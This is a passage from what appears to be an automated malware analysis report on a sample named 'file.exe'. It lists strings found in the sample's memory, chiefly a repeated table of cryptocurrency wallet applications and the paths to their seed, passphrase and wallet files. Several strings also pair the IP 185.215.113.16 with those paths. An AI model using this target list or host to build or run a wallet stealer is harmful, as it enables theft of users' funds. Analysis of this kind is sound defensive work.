Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16\AppData\Roaming\\Coinomi\Coinomi\wallets\\.
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113s\user\AppData\Roaming\\MultiDoge\\multidoge.wallet*
